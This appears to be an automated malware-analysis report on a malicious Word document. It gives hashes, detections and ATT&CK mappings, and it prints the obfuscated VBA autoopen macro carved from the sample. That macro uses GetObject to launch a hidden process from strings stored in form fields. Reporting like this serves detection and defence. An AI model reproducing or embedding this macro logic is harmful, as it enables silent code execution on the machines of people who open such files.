Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c7ddd7bd3762fb3…

MALICIOUS

Office (OLE)

186.1 KB Created: 2019-03-18 18:01:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 8876d2c8af307fd6d75c39684feede04 SHA-1: f37dcfc5ee172519fab349818d729f151e973e8a SHA-256: 7c7ddd7bd3762fb34953fe5b8ba0a6de4a373549abb6b1eab3f7fb7890c7f279
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. The macro utilizes a GetObject call, a common technique for executing embedded or downloaded code. This suggests the document is designed to act as a downloader for further malicious activity.

Heuristics 7

  • ClamAV: Doc.Malware.Drsm-6900468-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Drsm-6900468-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11065 bytes
SHA-256: 01110a134e03bd92608142d64badf7c28d11e43585dc6547a7eaadc71615a810
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YDBGAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "OA_QUAXA"
Attribute VB_Base = "0{044FBC7D-87C7-4F63-ABEF-20FE788B6624}{0823D5C2-A9AF-479D-AD45-0C3876B950CF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GXG4UQA"
Sub autoopen()
On Error Resume Next
   If zwkAAAG = LAo_AQB Then
      mcCQAwk = 384335712 - zDBCoG
      rUUCBx1Q = rcABUDB + Oct(KQAUxGZA) / 112943390 * 389533272
      Set pAGxAA = vZGA_BA
      iAk_xBD = (924365503 + 13282217 * DGAUw4 + CInt(34541085) + cBXxcAU / L_AQA_AU)
      w4DkAQDw = 347824769
End If
   If c1A_AAA = MxXcAwUA Then
      n4AoAAZ = 630891607 - ODxQAwXA
      iAoUGQ = MwkcAQAx + Oct(AUAUAwU) / 895309353 * 987646007
      Set ExA4GA = VXo_QUXB
      ZUAZQA = (42613760 + 914916052 * jUQQXAA + CInt(212308675) + iQk1Awk / QAAAoZG)
      NkBAB_x = 727483269
End If
   If ZBA4Ax1 = nCABUGZ Then
      IQUD_Ac = 148068109 - VUGQ1kA
      h_AcQDAA = BACCQCXQ + Oct(TAZQA4A) / 95725563 * 394466942
      Set SQGAxcQ = U1Q1Xo
      tBkDwQ_c = (959512580 + 396336248 * SCAAUGw1 + CInt(295342008) + V4BcDoXB / zwAADk)
      hD4AwA = 442631389
End If
Set pQBAZX4 = GetObject(OA_QUAXA.MCZAAA)
   If pAkAAGA = lQAA_w4U Then
      hoxUZDQ = 102558857 - oAU1AB
      mBG_AAA = foBUAU1 + Oct(pQAAABA) / 421499378 * 107004393
      Set toAQDA = JBBA_AAw
      RDAUAQA = (881950749 + 681234508 * l4AACB + CInt(735962330) + hAQ4UG / IAxAUcQ)
      ZCkUXCZ = 560742798
End If
   If vwAUUoD = oUQAADAQ Then
      ZAAZAA = 525319382 - VAABoGCU
      jAQQAxU = OUGDk1D + Oct(lxDoAU1) / 600806715 * 524673676
      Set wGGXAcAU = YBDBUBU
      cAADGQ = (109596057 + 806730415 * LkZoDG4 + CInt(703871497) + GADocAAA / rBZDcD)
      zGwXAA = 315964640
End If
pQBAZX4.ShowWindow = 667170 - 667170
   If AwAAAA = UAAkw4Co Then
      WQXD4U = 139274913 - bUAA4_
      hAQADw = cc_AQ_ + Oct(RAAAG4) / 428063926 * 26629657
      Set dQAA1AA = fAUDQ_
      VGZUAA = (39289295 + 559312496 * HBABQAU + CInt(665698280) + hGAoUA / zDZ_QQx)
      NZwkDkX = 30851631
End If
   If nC4UAU1A = OAAxAA Then
      RZ_UQcoX = 564750235 - cADZQkQ
      EooZckXA = KwA_AB1 + Oct(hAUAGQB) / 911616313 * 928360966
      Set tUZDA_4 = VQBDcA1
      WA_ADkDD = (731100856 + 218966288 * KAQXUAU + CInt(639560698) + MAccBcD / NAkZ4A)
      UcDUUx = 996532585
End If
GetObject(OA_QUAXA.dUwoAA).Create% H14BXA + OA_QUAXA.HwZAAA + HQDADxB + OA_QUAXA.PXAoAkA + hDAXABQA + OA_QUAXA.OZADAAXU + mB1cQAC, jUBAQXxD, pQBAZX4, uDAUAA
   If UAGQUAX = awAcBDU Then
      UxAoUD = 883288971 - uCB1AC
      NB14QDZ = PD_BUA + Oct(UGAZD1G) / 736797153 * 594057623
      Set zwAXAcAB = jAAAGDQ
      JxAAx1G = (71329374 + 908214567 * sXDQ1Q_ + CInt(168653975) + uDDCQxQB / HwADUw)
      uwAAxBAA = 538058372
End If
   If kxAGAko = UAGZBBAG Then
      u4Axc_D = 395959691 - dc1xADA
      kQ1_AQUo = nXAG_XC + Oct(pXQUXA) / 339871127 * 426786366
      Set s_kBCXB = uw1BDA
      H1ABU_ = (414119668 + 419012999 * qDUADC + CInt(223016311) + jDZZ44 / oZ4_AABX)
      pAxUAAxx = 507636010
End If
   If XADCAo = i1AXBDUQ Then
      FBUDB1 = 869231686 - rAQXBUxX
      PAABBCDA = JDAoAoB + Oct(pDDkkB_) / 59878364 * 79920679
      Set co_xAZDA = owZkB_
      DGBDA_G = (228940383 + 531953207 * SoccBk + CInt(300129058) + bAABDAxo / cDQUxUw_)
      QkcAAXwQ = 240028450
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/e3ed39620dc94f24afdb55b03dccfaeb.bin
' ===============================================================================
' Module streams:
' Macros/VBA/YDBGAA - 1104 bytes
' Macros/VBA/OA_QUAXA - 1159 bytes
' Macros/VBA/GXG4UQA - 5684 bytes
' Line #0:
' 	FuncDefn (Sub GXG4UQA())
' Line 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.